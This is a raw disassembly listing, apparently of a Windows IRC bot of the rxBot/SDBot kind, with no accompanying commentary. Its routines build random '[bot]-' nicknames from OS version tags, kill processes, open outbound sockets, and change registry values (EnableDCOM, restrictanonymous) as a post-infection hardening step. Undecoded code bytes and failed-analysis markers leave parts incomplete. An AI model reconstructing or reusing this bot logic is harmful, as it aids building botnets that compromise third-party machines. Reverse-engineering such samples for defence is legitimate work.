loc_4153F8:				; CODE XREF: sub_415339+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_14]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 25F0278h
		nop
		pop	edi
		pop	esi
sub_415339	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415417	proc near		; CODE XREF: sub_40EE72+4B08p
					; sub_416E95+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 2720789h
		mov	esi, eax
		test	esi, esi
		jz	short loc_415449
		push	0
		push	esi
		nop
		call	near ptr 27E0BB5h
		test	eax, eax
		jnz	short loc_415449
		push	esi
		xor	edi, edi
		nop
		call	near ptr 26307C3h


loc_415449:				; CODE XREF: sub_415417+1Aj
					; sub_415417+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415417	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41544E	proc near		; CODE XREF: sub_4030D1+Ap
					; ___:0040369Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_41730A
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4246A0
		call	sub_417DC4
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41544E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_4450CC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_43F650
		test	eax, eax
		jnz	short loc_415502
		push	dword ptr [esi]
		call	dword_43F700
		push	dword ptr [ebp+8]
		call	sub_417076
		pop	ecx
		push	edi
		call	near ptr 25F0278h
		nop


loc_415502:				; CODE XREF: ___:004154E8j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43F680
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415683
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415683
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_415683
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_43F5C4
		test	eax, eax
		jz	short loc_41557B
		call	dword_43F5FC
		push	eax
		push	offset dword_43892C
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417076
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 25F0278h


loc_41557B:				; CODE XREF: ___:00415556j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_43F620
		cmp	eax, edi
		jnz	short loc_4155A5
		push	dword ptr [ebp-18h]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4172AE
		jmp	short loc_4155B3
; ---------------------------------------------------------------------------


loc_4155A5:				; CODE XREF: ___:0041558Bj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4179C0


loc_4155B3:				; CODE XREF: ___:004155A3j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43C80C
		push	dword ptr [esi]
		call	dword_43F6B8
		cmp	dword_489DDC, edi
		jnz	short loc_415615
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_4156DD
		add	esp, 10h
		test	eax, eax
		jnz	short loc_415615
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	dword ptr [ebp+8]
		call	sub_417076
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0278h


loc_415615:				; CODE XREF: ___:004155CAj
					; ___:004155EBj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_4388E0
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_4165C4
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41565C
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset dword_4388A4
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417076
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 25F0278h


loc_41565C:				; CODE XREF: ___:00415637j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_43886C
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417076
		add	esp, 10h
		push	edi
		call	near ptr 25F0278h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415683	proc near		; CODE XREF: ___:00415518p
					; ___:00415525p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		cmp	eax, 1
		jnz	short loc_4156D3
		mov	esi, [ebp+arg_4]


loc_4156A1:				; CODE XREF: sub_415683+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_4156C8
		test	al, al
		jz	short loc_4156D7
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		cmp	eax, 1
		jz	short loc_4156A1
		jmp	short loc_4156D3
; ---------------------------------------------------------------------------


loc_4156C8:				; CODE XREF: sub_415683+27j
		push	offset dword_438968
		call	sub_40BFE1
		pop	ecx


loc_4156D3:				; CODE XREF: sub_415683+19j
					; sub_415683+43j
		xor	eax, eax
		jmp	short loc_4156DA
; ---------------------------------------------------------------------------


loc_4156D7:				; CODE XREF: sub_415683+2Bj
		push	1
		pop	eax


loc_4156DA:				; CODE XREF: sub_415683+52j
		pop	esi
		leave
		retn
sub_415683	endp


; =============== S U B	R O U T	I N E =======================================



sub_4156DD	proc near		; CODE XREF: ___:004155E1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415708
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4389A0
		call	sub_40BFE1
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_415708:				; CODE XREF: sub_4156DD+11j
		push	1
		pop	eax
		retn
sub_4156DD	endp

; ---------------------------------------------------------------------------
dword_41570C	dd 81EC8B55h, 5A4ECh, 8458B00h,	786A5756h, 8DF08B59h, 0FFFDECBDh
					; DATA XREF: sub_40EE72+5621o
		dd 0F3016AFFh, 0B8895FA5h, 1DCh, 0FA5C858Dh, 6850FFFFh
		dd 202h, 0F5E015FFh, 0F6330043h, 1D74C63Bh, 8B646850h
		dd 8EE80043h, 0FFFFFF68h, 1BE8B475h, 83000019h,	0E8570CC4h
		dd 21DAB14h, 8A685790h,	0E8004159h, 23CB54Ch, 75C08590h
		dd 33E89029h, 500223B4h, 438B1468h, 685BE800h, 5959FFFFh
		dd 0F5C815FFh, 75FF0043h, 18E0E8B4h, 57590000h,	1DAADBE8h
		dd 6A539002h, 0E0458D10h, 85E85056h, 8300001Bh,	0C7660CC4h
		dd 2E045h, 0FFB075FFh, 43F66815h, 57066A00h, 8966026Ah
		dd 7589E245h, 0E815FFE4h, 8B0043F6h, 0FFFB83D8h, 13B840Fh
		dd 458B0000h, 69106AB4h, 234C0h, 0CC988900h, 8D004450h
		dd 5350E045h, 0F69415FFh, 0C0850043h, 117850Fh,	0FF680000h
		dd 537FFFFFh, 0F69015FFh, 0C0850043h, 103850Fh,	0C8680000h
		dd 0C700438Ah, 0CF045h,	75890000h, 0F87589F4h, 0FF6744E8h
		dd 7D8959FFh, 0FC458D08h, 10FC45C7h, 50000000h,	50CC458Dh
		dd 0FC15FF53h, 8B0043F6h, 0FFFF83F8h, 0CA840Fh,	75FF0000h
		dd 8458D08h, 68086A50h,	0FFFFh,	4815FF57h, 830043F6h, 0C574FFF8h
		dd 0CE45B70Fh, 89B475FFh, 0FF50C875h, 15FFD075h, 43F6F4h
		dd 0EC858D50h, 68FFFFFBh, 438A74h, 1A20E850h, 858D0000h
		dd 0FFFFFBECh, 66D3E850h, 8D57FFFFh, 0FFFBEC85h, 50066AFFh
		dd 14B1E8h, 0B8458900h,	234C069h, 4D8B0000h, 24C483B4h
		dd 50C48889h, 458D0044h, 858D50DCh, 0FFFFFDECh,	7E685056h
		dd 8D004154h, 5056F045h, 26B309E8h, 4D8B9002h, 34C969B8h
		dd 3B000002h, 0D48189C6h, 74004450h, 0C8753913h, 0FF37850Fh
		dd 326AFFFFh, 1EAB92E8h, 0EDEB9002h, 23B2A9E8h,	68509002h
		dd 438A28h, 0FF66D0E8h,	0EB5959FFh, 87D8B03h, 0F5FC15FFh
		dd 8D500043h, 0FFFBEC85h, 89E468FFh, 0E8500043h, 197Eh
		dd 390CC483h, 2075C475h, 0EC858D56h, 0FFFFFFFBh, 8D50C075h
		dd 0FFFDF085h, 0B5FF50FFh, 0FFFFFDECh, 0FF7D24E8h, 14C483FFh
		dd 0FBEC858Dh, 0E850FFFFh, 0FFFF6609h, 15FF5759h, 43F700h
		dd 15FF53h, 0FF0043F7h,	43F5C815h, 0B475FF00h, 16F5E8h
		dd 90565900h, 1DA8EFE8h, 0C0335B02h, 4244439h, 0C3C0940Fh

; =============== S U B	R O U T	I N E =======================================



sub_415994	proc near		; CODE XREF: sub_415CFF+49p
					; DATA XREF: ___:off_438BB0o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 25F07CDh
		push	eax
		call	sub_417300
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aBot ; "[bot]-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_4159ED


loc_4159C7:				; CODE XREF: sub_415994+57j
		call	sub_41730A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_4159C7


loc_4159ED:				; CODE XREF: sub_415994+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415994	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159F2	proc near		; CODE XREF: sub_40EE72+3E7Fp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 25F07CDh
		push	eax
		call	sub_417300
		pop	ecx
		call	sub_41730A
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42F5C8
		test	esi, esi
		jle	short loc_415A35


loc_415A1F:				; CODE XREF: sub_4159F2+41j
		call	sub_41730A
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_415A1F


loc_415A35:				; CODE XREF: sub_4159F2+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4159F2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 25F07CDh
		push	eax
		call	sub_417300
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_438C0C
		push	eax
		push	esi
		nop
		call	near ptr 27D0000h
		movsx	eax, byte_438C0C
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_415A7B:				; CODE XREF: ___:00415A86j
		cmp	eax, ecx
		jnz	short loc_415A82
		mov	[ebp-4], edx


loc_415A82:				; CODE XREF: ___:00415A7Dj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_415A7B
		push	61h
		pop	ecx


loc_415A8B:				; CODE XREF: ___:00415A96j
		cmp	eax, ecx
		jnz	short loc_415A92
		mov	[ebp-4], edx


loc_415A92:				; CODE XREF: ___:00415A8Dj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_415A8B
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42F5C8, esi
		jle	short loc_415AD7


loc_415AB1:				; CODE XREF: ___:00415AD5j
		call	sub_41730A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415AB1


loc_415AD7:				; CODE XREF: ___:00415AAFj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 25F07CDh
		push	eax
		call	sub_417300
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 27F0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_438C10
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415B4C


loc_415B26:				; CODE XREF: ___:00415B4Aj
		call	sub_41730A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415B26


loc_415B4C:				; CODE XREF: ___:00415B24j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43C80C
		mov	dword ptr [ebp-94h], 94h
		call	near ptr 27A0000h
		nop
		nop
		call	near ptr 25F07CDh
		push	eax
		call	sub_417300
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_415BD6
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BB6
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_415BA6
		mov	esi, offset a95	; "95"


loc_415BA6:				; CODE XREF: ___:00415B9Fj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_415C12
		mov	esi, offset aNt	; "NT"
		jmp	short loc_415C12
; ---------------------------------------------------------------------------


loc_415BB6:				; CODE XREF: ___:00415B96j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_415BC6
		mov	esi, offset a98	; "98"
		jmp	short loc_415C12
; ---------------------------------------------------------------------------


loc_415BC6:				; CODE XREF: ___:00415BBDj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_415C0D
		mov	esi, offset aMe	; "ME"
		jmp	short loc_415C12
; ---------------------------------------------------------------------------


loc_415BD6:				; CODE XREF: ___:00415B8Dj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_415C0D
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BEF
		mov	esi, offset a2k	; "2K"
		jmp	short loc_415C12
; ---------------------------------------------------------------------------


loc_415BEF:				; CODE XREF: ___:00415BE6j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_415BFF
		mov	esi, offset aXp	; "XP"
		jmp	short loc_415C12
; ---------------------------------------------------------------------------


loc_415BFF:				; CODE XREF: ___:00415BF6j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_438C1C
		jz	short loc_415C12


loc_415C0D:				; CODE XREF: ___:00415BCDj
					; ___:00415BDDj
		mov	esi, offset dword_42DDDC


loc_415C12:				; CODE XREF: ___:00415BADj
					; ___:00415BB4j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_438C14
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415C56


loc_415C30:				; CODE XREF: ___:00415C54j
		call	sub_41730A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415C30


loc_415C56:				; CODE XREF: ___:00415C2Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C5C	proc near		; CODE XREF: sub_415CFF+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 25F07CDh
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_415CAB
		call	dword_43F674
		test	eax, eax
		mov	eax, offset dword_438C28
		jnz	short loc_415C94
		mov	eax, offset byte_43C80C


loc_415C94:				; CODE XREF: sub_415C5C+31j
		push	eax
		push	esi
		push	offset dword_438C20
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_415CCB
; ---------------------------------------------------------------------------


loc_415CAB:				; CODE XREF: sub_415C5C+22j
		call	dword_43F674
		test	eax, eax
		mov	eax, offset dword_438C28
		jnz	short loc_415CBF
		mov	eax, offset byte_43C80C


loc_415CBF:				; CODE XREF: sub_415C5C+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_415CCB:				; CODE XREF: sub_415C5C+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_415CFA
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418DE0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 18h


loc_415CFA:				; CODE XREF: sub_415C5C+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_415C5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CFF	proc near		; CODE XREF: sub_40EB92+7Fp
					; sub_40ECFA+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_438BAC


loc_415D0B:				; CODE XREF: sub_415CFF+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_415D26
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_4176D0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_415D30
; ---------------------------------------------------------------------------


loc_415D26:				; CODE XREF: sub_415CFF+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_415D30:				; CODE XREF: sub_415CFF+25j
		test	eax, eax
		jnz	short loc_415D42
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_438C10
		jb	short loc_415D0B
		jmp	short loc_415D50
; ---------------------------------------------------------------------------


loc_415D42:				; CODE XREF: sub_415CFF+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_438BB0[eax*4]
		pop	ecx


loc_415D50:				; CODE XREF: sub_415CFF+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_415D63
		push	[ebp+arg_0]
		call	sub_415C5C
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415D63:				; CODE XREF: sub_415CFF+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_415CFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D68	proc near

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_43F668
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_43F6E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_415E26
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_4450CC[ecx], esi
		jz	short loc_415E26
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_43F6F4
		push	eax
		mov	edi, offset dword_489DE4
		push	offset unk_438C2C
		push	edi
		call	sub_4172AE
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40D679
		push	edi
		call	sub_40BF6D
		add	esp, 28h


loc_415E26:				; CODE XREF: sub_415D68+5Dj
					; sub_415D68+7Ej
		push	esi
		call	dword_43F700
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_415D68	endp

; ---------------------------------------------------------------------------
byte_415E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40EE72+35E0o
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2A6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 64358BA5h, 0C7004240h, 0A083h, 100h, 0FFFF3300h
		dd 75FFD475h, 0F415FFE0h, 500043F6h, 0FED0858Dh, 6468FFFFh
		dd 5000438Ch, 142DE8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0DC458B50h
		dd 234C069h, 0C0050000h, 5000444Eh, 2D6FE8h, 1CC48300h
		dd 50F8458Dh, 0FF50858Dh, 5057FFFFh, 415D6868h,	0E8575700h
		dd 226AD26h, 89C73B90h,	0B74FC45h, 75F47D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0ECE8FC75h, 900221A8h, 88B3FFh, 0BB890000h
		dd 0A4h, 458DD6FFh, 50046AE0h, 5008458Dh, 149BE8h, 0CC48300h
		dd 0FF0875FFh, 43F59C15h, 89504000h, 15FF0845h,	43F664h
		dd 8D084589h, 46A0845h,	0E0458D50h, 1472E850h, 0C4830000h
		dd 0FF3DE90Ch
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F26	proc near		; DATA XREF: sub_40EE72+5F4Do

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_415F6D
		call	sub_415F86
		jmp	short loc_415F72
; ---------------------------------------------------------------------------


loc_415F6D:				; CODE XREF: sub_415F26+3Ej
		call	sub_4162AA


loc_415F72:				; CODE XREF: sub_415F26+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_417076
		pop	ecx
		push	0
		call	near ptr 25F0278h
		nop
sub_415F26	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F86	proc near		; CODE XREF: sub_415F26+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43F738, edi
		jnz	loc_4160B8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_416011
		mov	ax, word_439014
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43F68C
		test	eax, eax
		jz	short loc_415FF3
		push	offset unk_438FD4
		jmp	short loc_415FF8
; ---------------------------------------------------------------------------


loc_415FF3:				; CODE XREF: sub_415F86+64j
		push	offset dword_438FA8


loc_415FF8:				; CODE XREF: sub_415F86+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_416024
; ---------------------------------------------------------------------------


loc_416011:				; CODE XREF: sub_415F86+36j
		lea	eax, [ebp+var_214]
		push	offset unk_438F68
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_416024:				; CODE XREF: sub_415F86+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_416043
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416043:				; CODE XREF: sub_415F86+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_4160B1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_43F68C
		test	eax, eax
		jz	short loc_416093
		push	offset unk_438F08
		jmp	short loc_416098
; ---------------------------------------------------------------------------


loc_416093:				; CODE XREF: sub_415F86+104j
		push	offset unk_438EC4


loc_416098:				; CODE XREF: sub_415F86+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_4160CB
; ---------------------------------------------------------------------------


loc_4160B1:				; CODE XREF: sub_415F86+E2j
		push	offset unk_438E78
		jmp	short loc_4160BD
; ---------------------------------------------------------------------------


loc_4160B8:				; CODE XREF: sub_415F86+13j
		push	offset unk_438E38


loc_4160BD:				; CODE XREF: sub_415F86+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_4160CB:				; CODE XREF: sub_415F86+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4160EA
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
